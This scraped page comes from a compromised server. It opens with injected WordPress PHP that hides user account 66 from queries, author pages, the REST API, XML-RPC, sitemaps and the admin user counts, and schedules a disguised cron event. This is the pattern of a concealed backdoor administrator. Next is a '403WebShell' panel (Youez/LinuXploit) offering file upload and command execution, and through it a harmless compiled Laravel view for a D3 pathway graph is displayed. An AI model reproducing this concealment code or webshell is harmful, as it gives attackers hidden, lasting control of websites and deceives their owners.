add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/fbla/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/fbla/framework/views/409a1a4de4d3ba8174c8f3add1613d38.php
<?php if (isset($component)) { $__componentOriginal5863877a5171c196453bfa0bd807e410 = $component; } ?>
<?php if (isset($attributes)) { $__attributesOriginal5863877a5171c196453bfa0bd807e410 = $attributes; } ?>
<?php $component = Illuminate\View\AnonymousComponent::resolve(['view' => 'components.layouts.app','data' => ['title' => $pathway->title . ' — Explore']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? $attributes->all() : [])); ?>
<?php $component->withName('layouts.app'); ?>
<?php if ($component->shouldRender()): ?>
<?php $__env->startComponent($component->resolveView(), $component->data()); ?>
<?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag): ?>
<?php $attributes = $attributes->except(\Illuminate\View\AnonymousComponent::ignoredParameterNames()); ?>
<?php endif; ?>
<?php $component->withAttributes(['title' => \Illuminate\View\Compilers\BladeCompiler::sanitizeComponentAttribute($pathway->title . ' — Explore')]); ?>
<?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::processComponentKey($component); ?>

<style>
  #explore-wrap { position:relative; width:100%; height:calc(100vh - 64px); overflow:hidden; background:#0f172a; }
  #explore-svg  { width:100%; height:100%; }
  .node-label   { pointer-events:none; font-family:Inter,sans-serif; fill:#fff; text-anchor:middle; }

  #exp-card {
    position:absolute; bottom:24px; left:50%; transform:translateX(-50%);
    background:rgba(15,23,42,.96); backdrop-filter:blur(10px);
    border:1px solid rgba(255,255,255,.1); border-radius:14px;
    color:#f1f5f9; padding:18px 22px; width:340px; max-width:calc(100vw - 32px);
    display:none; box-shadow:0 12px 40px rgba(0,0,0,.6);
  }
  #exp-card-type   { font-size:10px; font-weight:700; letter-spacing:.12em; text-transform:uppercase; margin-bottom:5px; }
  #exp-card-title  { font-size:15px; font-weight:600; line-height:1.35; }
  #exp-card-author { font-size:12px; color:#94a3b8; margin-top:3px; }
  #exp-card-note   { font-size:12px; color:#94a3b8; margin-top:8px; font-style:italic;
                     border-top:1px solid rgba(255,255,255,.08); padding-top:8px; }
  #exp-card-link   { display:inline-block; margin-top:10px; font-size:12px; font-weight:600; color:#818cf8; text-decoration:none; }
  #exp-card-link:hover { color:#a5b4fc; }
  #exp-card-close  { position:absolute; top:10px; right:12px; background:none; border:none;
                     color:#64748b; cursor:pointer; font-size:18px; line-height:1; padding:2px 6px; }

  /* Layout switcher */
  #layout-switcher { position:absolute; top:14px; right:16px; display:flex; gap:4px; }
  .layout-btn {
    padding:5px 12px; border-radius:20px; font-size:12px; font-weight:500;
    border:1px solid rgba(255,255,255,.15); color:#94a3b8; background:rgba(255,255,255,.05);
    cursor:pointer; text-decoration:none; white-space:nowrap;
    transition: all .15s;
  }
  .layout-btn:hover  { color:#f1f5f9; border-color:rgba(255,255,255,.3); }
  .layout-btn.active { background:#9bcc25; border-color:#9bcc25; color:#0f172a; font-weight:700; }

  #exp-back {
    position:absolute; top:14px; left:16px;
    display:inline-flex; align-items:center; gap:6px;
    font-size:13px; color:#94a3b8; text-decoration:none;
    background:rgba(255,255,255,.07); border-radius:20px; padding:6px 14px;
  }
  #exp-back:hover { color:#f1f5f9; }
  #exp-hint {
    position:absolute; bottom:78px; left:50%; transform:translateX(-50%);
    background:rgba(255,255,255,.06); border-radius:20px;
    padding:5px 14px; font-size:11px; color:#475569; pointer-events:none; white-space:nowrap;
  }
</style>

<div id="explore-wrap">
  <svg id="explore-svg">
    <defs>
      <marker id="arrow-chain" viewBox="0 0 10 10" refX="9" refY="5"
              markerWidth="5" markerHeight="5" orient="auto-start-reverse">
        <path d="M0,0 L10,5 L0,10 Z" fill="#9bcc25" opacity="0.85"/>
      </marker>
      <filter id="glow">
        <feGaussianBlur stdDeviation="7" result="blur"/>
        <feMerge><feMergeNode in="blur"/><feMergeNode in="SourceGraphic"/></feMerge>
      </filter>
      <filter id="hub-glow">
        <feGaussianBlur stdDeviation="4" result="blur"/>
        <feMerge><feMergeNode in="blur"/><feMergeNode in="SourceGraphic"/></feMerge>
      </filter>
    </defs>
  </svg>

  <a href="<?php echo e(route('pathways.show', $pathway)); ?>" id="exp-back">
    <svg width="14" height="14" fill="none" viewBox="0 0 24 24" stroke="currentColor">
      <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M15 19l-7-7 7-7"/>
    </svg>
    List view
  </a>

  <div id="layout-switcher">
    <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::openLoop(); ?><?php endif; ?><?php $__currentLoopData = ['chain' => 'Chain →', 'star' => 'Star ✦', 'radial' => 'Radial ◎']; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $mode => $label): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::startLoop($loop->index); ?><?php endif; ?>
      <a href="<?php echo e(route('pathways.explore', $pathway)); ?>?layout=<?php echo e($mode); ?>"
         class="layout-btn <?php echo e($layout === $mode ? 'active' : ''); ?>"><?php echo e($label); ?></a>
    <?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::endLoop(); ?><?php endif; ?><?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::closeLoop(); ?><?php endif; ?>
  </div>

  <div id="exp-hint">Click a step to expand · click a material for details</div>

  <div id="exp-card">
    <button id="exp-card-close">×</button>
    <div id="exp-card-type"></div>
    <div id="exp-card-title"></div>
    <div id="exp-card-author"></div>
    <div id="exp-card-note"></div>
    <a id="exp-card-link" href="#" target="_blank">View material →</a>
  </div>
</div>

<script src="https://cdn.jsdelivr.net/npm/d3@7/dist/d3.min.js"></script>
<script>
const ALL_NODES   = <?php echo json_encode($graphData['nodes'], 15, 512) ?>;
const ALL_LINKS   = <?php echo json_encode($graphData['links'], 15, 512) ?>;
const LAYOUT_MODE = <?php echo json_encode($layout, 15, 512) ?>;   // 'chain' | 'star' | 'radial'

const TYPE_LABEL = { book:'Book',article:'Article',pdf:'PDF',video:'Video',
  podcast:'Podcast',course:'Course',website:'Website',link:'Link',toolkit:'Toolkit',other:'Other' };

const wrap = document.getElementById('explore-wrap');
let W = wrap.clientWidth, H = wrap.clientHeight;

const R = { entry:42, hub:30, leaf:18 };
const nodeR = d => R[d.type] ?? 18;

// ── Position setup ────────────────────────────────────────────────────────────
const entry = ALL_NODES.find(n => n.type === 'entry');
const hubs  = ALL_NODES.filter(n => n.type === 'hub').sort((a,b) => a.step - b.step);

function setupPositions() {
  if (LAYOUT_MODE === 'chain') {
    entry.fx = W * 0.1; entry.fy = H / 2;
    hubs.forEach((h, i) => {
      const t = hubs.length === 1 ? 0.5 : i / (hubs.length - 1);
      h.targetX = W * 0.22 + (W * 0.7) * t;
      h.targetY = H / 2 + (i % 2 === 0 ? -H * 0.09 : H * 0.09);
      h.fx = null; h.fy = null;
    });
  } else if (LAYOUT_MODE === 'star') {
    entry.fx = W / 2; entry.fy = H / 2;
    hubs.forEach(h => { h.fx = null; h.fy = null; h.targetX = null; h.targetY = null; });
  } else if (LAYOUT_MODE === 'radial') {
    entry.fx = W / 2; entry.fy = H / 2;
    const radius = Math.min(W, H) * 0.3;
    hubs.forEach((h, i) => {
      const angle = (i / hubs.length) * 2 * Math.PI - Math.PI / 2;
      h.fx = W/2 + Math.cos(angle) * radius;
      h.fy = H/2 + Math.sin(angle) * radius;
    });
  }
}
setupPositions();

// ── State ────────────────────────────────────────────────────────────────────
let activeNodes = ALL_NODES.filter(n => n.type !== 'leaf');
let expandedHub = null;

function buildActiveLinks() {
  const ids = new Set(activeNodes.map(n => n.id));

  // Base links from data (content links)
  const contentLinks = ALL_LINKS
    .filter(l => l.kind === 'content')
    .filter(l => ids.has(l.source?.id ?? l.source) && ids.has(l.target?.id ?? l.target));

  // Chain links depend on layout
  let structureLinks = [];
  if (LAYOUT_MODE === 'chain') {
    // Sequential chain entry→h1→h2→...
    structureLinks = ALL_LINKS
      .filter(l => l.kind === 'chain')
      .filter(l => ids.has(l.source?.id ?? l.source) && ids.has(l.target?.id ?? l.target));
  } else {
    // Star / radial: entry connects to all hubs
    hubs.forEach(h => {
      if (ids.has(h.id)) {
        structureLinks.push({ source: 'entry', target: h.id, kind: 'chain', _synthetic: true });
      }
    });
  }

  return [...structureLinks, ...contentLinks];
}

// ── SVG + zoom ────────────────────────────────────────────────────────────────
const svg = d3.select('#explore-svg');
const g   = svg.append('g');
svg.call(d3.zoom().scaleExtent([0.2, 3]).on('zoom', e => g.attr('transform', e.transform)));

const arcLayer     = g.append('g'); // radial sequence arc
const chainLayer   = g.append('g');
const contentLayer = g.append('g');
const nodeLayer    = g.append('g');
const labelLayer   = g.append('g');
const badgeLayer   = g.append('g');

// ── Simulation ────────────────────────────────────────────────────────────────
const sim = d3.forceSimulation()
  .force('link',      d3.forceLink().id(d=>d.id).distance(d => d.kind==='content' ? 100 : 0).strength(d => d.kind==='content' ? 0.5 : 0))
  .force('charge',    d3.forceManyBody().strength(d => ({entry:-350,hub:-280,leaf:-90})[d.type] ?? -90))
  .force('collision', d3.forceCollide().radius(d => nodeR(d)+20).strength(0.9))
  .force('hubX',      d3.forceX(d => d.targetX ?? W/2).strength(d => LAYOUT_MODE==='chain' && d.type==='hub' && d.targetX ? 0.8 : 0))
  .force('hubY',      d3.forceY(d => d.targetY ?? H/2).strength(d => LAYOUT_MODE==='chain' && d.type==='hub' && d.targetY ? 0.4 : 0))
  .force('centerY',   d3.forceY(H/2).strength(d => d.type==='leaf' ? 0.02 : 0))
  .alphaDecay(0.025);

// ── Path helpers ──────────────────────────────────────────────────────────────
function arrowPath(d) {
  const sx = d.source.x, sy = d.source.y, tx = d.target.x, ty = d.target.y;
  const dx = tx-sx, dy = ty-sy, dist = Math.sqrt(dx*dx+dy*dy)||1;
  const sr = nodeR(d.source)+3, tr = nodeR(d.target)+8;
  const x1 = sx+dx/dist*sr, y1 = sy+dy/dist*sr;
  const x2 = tx-dx/dist*tr, y2 = ty-dy/dist*tr;
  const cx = (x1+x2)/2-(y2-y1)*0.18, cy = (y1+y2)/2+(x2-x1)*0.18;
  return `M${x1},${y1} Q${cx},${cy} ${x2},${y2}`;
}

function contentPath(d) {
  const sx=d.source.x, sy=d.source.y, tx=d.target.x, ty=d.target.y;
  const cx=(sx+tx)/2-(ty-sy)*0.35, cy=(sy+ty)/2+(tx-sx)*0.35;
  return `M${sx},${sy} Q${cx},${cy} ${tx},${ty}`;
}

function radialArcPath() {
  // Smooth arc through all hub positions in step order
  if (hubs.length < 2) return '';
  const pts = hubs.map(h => [h.x ?? h.fx, h.y ?? h.fy]);
  const line = d3.line().curve(d3.curveCatmullRom.alpha(0.5));
  return line(pts);
}

// ── Tick ──────────────────────────────────────────────────────────────────────
sim.on('tick', () => {
  chainLayer.selectAll('path').attr('d', arrowPath);
  contentLayer.selectAll('path').attr('d', contentPath);
  nodeLayer.selectAll('circle').attr('cx', d=>d.x).attr('cy', d=>d.y);
  labelLayer.selectAll('text').attr('x', d=>d.x).attr('y', d=>d.y);
  badgeLayer.selectAll('g').attr('transform', d=>`translate(${d.x},${d.y})`);
  if (LAYOUT_MODE === 'radial') arcLayer.select('path').attr('d', radialArcPath());
});

// ── Render ────────────────────────────────────────────────────────────────────
function render() {
  const links    = buildActiveLinks();
  const chains   = links.filter(l => l.kind === 'chain');
  const contents = links.filter(l => l.kind === 'content');

  // Radial sequence arc (drawn under everything)
  if (LAYOUT_MODE === 'radial') {
    if (arcLayer.select('path').empty()) {
      arcLayer.append('path')
        .attr('fill','none').attr('stroke','#9bcc25').attr('stroke-width',2)
        .attr('stroke-dasharray','6 4').attr('opacity',0.4)
        .attr('marker-end','url(#arrow-chain)');
    }
  }

  // Chain / structure links
  const cSel = chainLayer.selectAll('path').data(chains, d => (d.source?.id??d.source)+'-'+(d.target?.id??d.target));
  cSel.enter().append('path')
    .attr('fill','none').attr('stroke','#9bcc25').attr('stroke-width', LAYOUT_MODE==='chain' ? 2.5 : 1.5)
    .attr('stroke-dasharray', LAYOUT_MODE==='radial' ? 'none' : 'none')
    .attr('marker-end', LAYOUT_MODE==='chain' ? 'url(#arrow-chain)' : 'none')
    .attr('opacity',0).transition().duration(400).attr('opacity', LAYOUT_MODE==='star' ? 0.4 : 0.85);
  cSel.exit().transition().duration(250).attr('opacity',0).remove();

  // Content links (dashed)
  const dSel = contentLayer.selectAll('path').data(contents, d => (d.source?.id??d.source)+'-'+(d.target?.id??d.target));
  dSel.enter().append('path')
    .attr('fill','none').attr('stroke','rgba(155,204,37,0.35)').attr('stroke-width',1.5)
    .attr('stroke-dasharray','5 4')
    .attr('opacity',0).transition().duration(400).attr('opacity',1);
  dSel.exit().transition().duration(250).attr('opacity',0).remove();

  // Nodes
  const nSel = nodeLayer.selectAll('circle').data(activeNodes, d=>d.id);
  nSel.enter().append('circle')
    .attr('r',0)
    .attr('fill', d => d.type==='hub' ? '#0f172a' : d.color)
    .attr('stroke', d => ({entry:'#4ade80',hub:'#9bcc25',leaf:'rgba(255,255,255,.2)'})[d.type])
    .attr('stroke-width', d => ({entry:3,hub:2,leaf:1.5})[d.type])
    .style('filter', d => d.type==='entry' ? 'url(#glow)' : d.type==='hub' ? 'url(#hub-glow)' : 'none')
    .style('cursor', d => d.type==='entry' ? 'default' : 'pointer')
    .on('click', onNodeClick)
    .transition().duration(350).attr('r', d=>nodeR(d));
  nSel.exit().transition().duration(250).attr('r',0).remove();

  // Labels
  const lSel = labelLayer.selectAll('text').data(activeNodes, d=>d.id);
  const lEnter = lSel.enter().append('text')
    .attr('class','node-label')
    .attr('font-size', d => ({entry:10,hub:10,leaf:9})[d.type])
    .attr('font-weight', d => d.type==='leaf' ? 400 : 700)
    .attr('fill-opacity',0)
    .on('click', onNodeClick);

  lEnter.each(function(d) {
    const el = d3.select(this);
    if (d.type === 'entry') {
      el.append('tspan').attr('x',0).attr('dy','-0.4em').attr('font-size',14).attr('font-weight',800).text('Why?');
      el.append('tspan').attr('x',0).attr('dy','1.25em').attr('font-size',8.5).attr('fill','rgba(255,255,255,.55)').text('Start here');
      return;
    }
    if (d.type === 'leaf') {
      const short = d.label.length > 22 ? d.label.slice(0,20)+'…' : d.label;
      el.attr('dy', nodeR(d)+13).text(short);
      return;
    }
    // Hub: wrap into two lines
    const words = d.label.split(' ');
    if (words.length > 2) {
      const mid = Math.ceil(words.length/2);
      el.append('tspan').attr('x',0).attr('dy','-0.5em').text(words.slice(0,mid).join(' '));
      el.append('tspan').attr('x',0).attr('dy','1.15em').text(words.slice(mid).join(' '));
    } else {
      el.attr('dy','0.35em').text(d.label);
    }
  });
  lEnter.transition().duration(350).attr('fill-opacity',1);
  lSel.exit().transition().duration(250).attr('fill-opacity',0).remove();

  // Step number badges
  const bSel = badgeLayer.selectAll('g').data(activeNodes.filter(n=>n.type==='hub'), d=>d.id);
  const bEnter = bSel.enter().append('g').attr('opacity',0).on('click', onNodeClick).style('cursor','pointer');
  const bx = nodeR({type:'hub'})-5, by = -(nodeR({type:'hub'})-5);
  bEnter.append('circle').attr('r',9).attr('cx',bx).attr('cy',by).attr('fill','#9bcc25').attr('stroke','#0f172a').attr('stroke-width',1.5);
  bEnter.append('text').attr('x',bx).attr('y',by).attr('text-anchor','middle').attr('dominant-baseline','central')
    .attr('font-size',9).attr('font-weight',800).attr('fill','#0f172a').text(d=>d.step);
  bEnter.transition().duration(350).attr('opacity',1);
  bSel.exit().transition().duration(250).attr('opacity',0).remove();

  // Update simulation
  sim.nodes(activeNodes);
  sim.force('link').links(links.filter(l => !l._synthetic));
  sim.alpha(0.5).restart();

  applyDrag();
}

// ── Expand / Collapse ─────────────────────────────────────────────────────────
function collapseHub(hubId) {
  activeNodes = activeNodes.filter(n => !(n.type==='leaf' && n.parentId===hubId));
  if (expandedHub===hubId) expandedHub=null;
}
function expandHub(d) {
  const children = ALL_NODES.filter(n => n.type==='leaf' && n.parentId===d.id);
  children.forEach(c => { c.x=(d.x||d.fx)+Math.random()*6-3; c.y=(d.y||d.fy)+Math.random()*6-3; });
  activeNodes = [...activeNodes, ...children];
  expandedHub = d.id;
}

// ── Click ─────────────────────────────────────────────────────────────────────
function onNodeClick(event, d) {
  event.stopPropagation();
  if (d.type==='entry') return;
  if (d.type==='leaf') { showCard(d); return; }
  hideCard();
  if (expandedHub===d.id) collapseHub(d.id);
  else { if (expandedHub) collapseHub(expandedHub); expandHub(d); }
  render();
}
svg.on('click', hideCard);

// ── Card ──────────────────────────────────────────────────────────────────────
const card = document.getElementById('exp-card');
document.getElementById('exp-card-close').addEventListener('click', hideCard);
function showCard(d) {
  document.getElementById('exp-card-type').textContent   = TYPE_LABEL[d.mtype]??'';
  document.getElementById('exp-card-type').style.color   = d.color;
  document.getElementById('exp-card-title').textContent  = d.label;
  document.getElementById('exp-card-author').textContent = d.author||'';
  const noteEl = document.getElementById('exp-card-note');
  noteEl.textContent = d.note||''; noteEl.style.display = d.note ? 'block':'none';
  document.getElementById('exp-card-link').href = d.url;
  card.style.display = 'block';
}
function hideCard() { card.style.display='none'; }

// ── Drag ──────────────────────────────────────────────────────────────────────
function applyDrag() {
  const drag = d3.drag()
    .on('start', (e,d) => { if(!e.active) sim.alphaTarget(0.3).restart(); d.fx=d.x; d.fy=d.y; })
    .on('drag',  (e,d) => { d.fx=e.x; d.fy=e.y; })
    .on('end',   (e,d) => {
      if(!e.active) sim.alphaTarget(0);
      // Radial hubs stay fixed; chain hubs re-release to forceX; star hubs free
      if (d.type==='entry') return; // keep entry fixed always
      if (LAYOUT_MODE==='radial' && d.type==='hub') return; // keep hub fixed in radial
      if (d.type !== 'entry') { d.fx=null; d.fy=null; }
    });
  nodeLayer.selectAll('circle').call(drag);
  badgeLayer.selectAll('g').call(drag);
}

// ── Resize ────────────────────────────────────────────────────────────────────
window.addEventListener('resize', () => {
  W=wrap.clientWidth; H=wrap.clientHeight;
  setupPositions();
  sim.force('hubX', d3.forceX(d => d.targetX??W/2).strength(d => LAYOUT_MODE==='chain' && d.type==='hub' && d.targetX ? 0.8 : 0));
  sim.force('hubY', d3.forceY(d => d.targetY??H/2).strength(d => LAYOUT_MODE==='chain' && d.type==='hub' && d.targetY ? 0.4 : 0));
  sim.alpha(0.4).restart();
});

// ── Boot ──────────────────────────────────────────────────────────────────────
render();
</script>
 <?php echo $__env->renderComponent(); ?>
<?php endif; ?>
<?php if (isset($__attributesOriginal5863877a5171c196453bfa0bd807e410)): ?>
<?php $attributes = $__attributesOriginal5863877a5171c196453bfa0bd807e410; ?>
<?php unset($__attributesOriginal5863877a5171c196453bfa0bd807e410); ?>
<?php endif; ?>
<?php if (isset($__componentOriginal5863877a5171c196453bfa0bd807e410)): ?>
<?php $component = $__componentOriginal5863877a5171c196453bfa0bd807e410; ?>
<?php unset($__componentOriginal5863877a5171c196453bfa0bd807e410); ?>
<?php endif; ?>
<?php /**PATH /var/www/html/flnavigator/resources/views/pathways/explore.blade.php ENDPATH**/ ?>

Youez - 2016 - github.com/yon3zu
LinuXploit